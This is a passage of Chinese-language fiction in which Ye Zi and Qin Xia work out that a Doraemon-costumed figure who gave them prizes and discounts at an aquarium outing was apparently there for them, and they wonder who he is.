她又问了问邻排和前排的女生,她们也去纪念品店逛了,摇头说没有优惠,东西都死贵。 叶子彻底懵了,茫然看向秦夏,这是怎么回事? 秦夏陷入沉思。 如此“幸运”的事,叶子一下子想到了那个总是出现在她们附近的哆啦A梦,还有她中的那两杯饮料。 她们从水族馆出来时,它刚好在纪念品店门口。 秦夏似乎跟她想到一块儿去了,神色凝重看向她:“我一开始就觉得他很怪。” 对别的游客置之不理,却偏偏热情地给她们抽奖。 仿佛……就是为了她们而来的。 叶子想到了猴子口中会来,却最终没有出现的那个人。 她难以相信,他为什么要这么做?